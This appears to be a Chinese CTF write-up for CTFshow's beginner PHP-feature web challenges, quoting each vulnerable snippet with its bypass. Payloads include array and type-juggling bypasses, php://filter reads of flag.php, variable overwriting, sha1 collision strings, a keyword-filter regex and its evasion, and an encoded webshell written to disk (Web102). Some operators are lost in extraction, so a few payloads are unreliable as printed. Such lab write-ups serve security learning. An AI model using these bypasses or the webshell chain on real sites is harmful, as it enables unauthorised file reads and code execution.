CTFshow之web入门---PHP特性上

2024-02-28 20:17:52 浏览数 (1)

CTFshow Web题目入门之PHP特性上

[TOC]

Web89

代码语言:javascript复制
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

这里考察的是 preg_match — 执行匹配正则表达式 这个表达式的匹配。我们可以参考官方文档

**preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()**在第一次匹配后 将会停止搜索。

由于参与匹配的是字符串内容,我们可以构造非字符串也就是数组内容?num[]=1;

Web90

这道题目是intval( )函数的使用,还是看下这个函数的官方文档吧:

intval ( mixed var [, int base = 10 ] ) : int#Note: 如果 base 是 0,通过检测 var 的格式来决定使用的进制:#如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,#如果字符串以 “0” 开始,使用 8 进制(octal);否则,#将使用 10 进制 (decimal)。

代码语言:javascript复制
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");}
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

可以使用的方式很多,4476.0,** 4476.04476e00x117c010574**这些方式都可以绕过===

Web91

代码语言:javascript复制
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
  • 正则表达式, i 不区分大小写 m 多行匹配
  • 多行匹配中存在php,单行不匹配
  • ?cmd= php

Web92

代码语言:javascript复制
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这个什么都没有过滤,可以用 法,小数,八进制,十六进制都行…….

Web93

这道题过滤了 [a-z]/i ,并且将num===”4476”转化为num==”4476”,这样使用 4476,4476.0都被过滤了,同时过滤了字母,所以包含0x的十六进制也被过滤了,我们可以使用八进制形式的010574进行绕过

Web94

这道题又改回了 $num===”4476” ,这样把小数给放出来了,这样应该是考我们小数.?num=4476.0就能完成。当然用计算的方式也行,比如4476 0

Web95

这一个题目的问题主要产生在 strpos ()这个函数上,可以看到这个函数必须含有0,同时弱类型匹配过滤了运算,下面又进一步过滤了小数点,16进制,还是使用八进制的010574进行操作,对strpos函数的绕过,我们可以使用 空格或者换行符

### Web96

在linux下面表示当前目录是 ./ 所以payload: u=./flag.php,这一道题应该说是linux系统尝试和PHP特性的结合吧

这里也可以使用php伪协议进行绕过:?file=php://filter/convert.base64-encode/resource=flag.php对得到的内容进行PHP解码就行

Web97

代码语言:javascript复制
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a!=b,同时md5值相同这直接上数组就行…….a[]=1&b[]=2

Web98

代码语言:javascript复制
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?> 

这里是三目运算符和取地址, 根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。中间两行意义不大 , 如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。 思路:存在get参数,那么POST参数赋值给GET(名为GET其实为POST)在POST参数HTTP_FLAG

?a=a post:HTTP_FLAG=flag

web102

代码语言:javascript复制
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
} 

v2,v3以get传参传入,v1必须通过post传参传入。

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。但在php5版本下有漏洞,在数字中间带e会被识别为科学计数法。

代码语言:javascript复制
$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
//输出5044383959474e6864434171594473

file_put_contents() 函数把一个字符串写入文件中。

call_user_func() 函数把第一个参数作为回调函数调用,通过这个函数可以将编码为16进制的V2重新变为一句话木马,v3通过伪协议写入1.php文件中内容,v1通过Post传参传入hex2bin

Web103

解题过程payload同web102

Web104

代码语言:javascript复制
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}?>

要求v1的散列与v2的散列相等, sha1()函数在判断时无法处理数组类型,会返回false,故可以构建数组类型绕过

当然因为没有什么过滤什么的,完全可以直接令v1和v2都置为1,也能得到flag。

Web105

代码语言:javascript复制
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){		#get是一个预定义的数组,此处将get中的数据按照键值对取出
    if($key==='error'){				  #key是传入的参数名称 成立条件  error=random
        die("what are you doing?!");
    }
    $$key=$$value;					#此处将传入的传参名(键)和传参值(值)定义为变量,并使传参名(键)的数值等于传参值(值),通俗的说,就是咱们人工加入了一个变量,而且给予赋值
}foreach($_POST as $key => $value){	 #post同样是一个预定义的数组,同样按照键值对取出
    if($value==='flag'){			#如果传入的值为flag,if判定成立
        die("what are you doing?!");
    }
    $$key=$$value;					#同上,人工添加变量
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."n";	#要输出flag需要满足$_POST['flag']==$flag,但是$flag属于未知,我们就可以进行变量覆盖
die($suces); 

Web106

代码语言:javascript复制
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
} 

我们这里需要使用数组绕过也可以使用,强碰撞 aaroZmOk与aaK1STfY或aaO8zKZF与aa3OFF9m

Web107

这个真是涨知识了,parse_str()函数这个我真不知道。

代码语言:javascript复制
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}

在官方文档中

代码语言:javascript复制
parse_str — 将字符串解析成多个变量
parse_str ( string $encoded_string [, array &$result ] ) : void
如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。

我们传入v3=1 然后v1=flag=c4ca4238a0b923820dcc509a6f75849b 即1的md5值即可

Web108

代码语言:javascript复制
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z] $", $_GET['c'])===FALSE)  {
    die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;}
?> 

考察点:ereg 正则截断

第一层是ereg()函数, ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

第二层一个弱比较,strrev()函数是反转字符串,intval()函数通过使用指定的进制 base 转换,返回变量 var 的 integer 数值。

我们可以通过a778完成绕过。首先正则表达式只会匹配之前的内容,后面的被截断掉,可以通过正则表达式检测,后面通过反转成877a,再用intval函数获取整数部分得到877,877为0x36d的10进制。

Web109

这玩意,我怎么说呢,我真不会,这一块也是学了一些新的东西

Exception 异常处理类 http://c.biancheng.net/view/6253.html

Web111

变量覆盖,这里应该考察的就是全局元素

Web112

代码语言:javascript复制
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

过滤了data和base64,但是怎么说呢,过滤了这个偏偏可以想着如何绕过这个过滤……..这种情况大概是非预期解

代码语言:javascript复制
/?file=php://filter/convert.%62ase64-encode/resource=flag.php

0 人点赞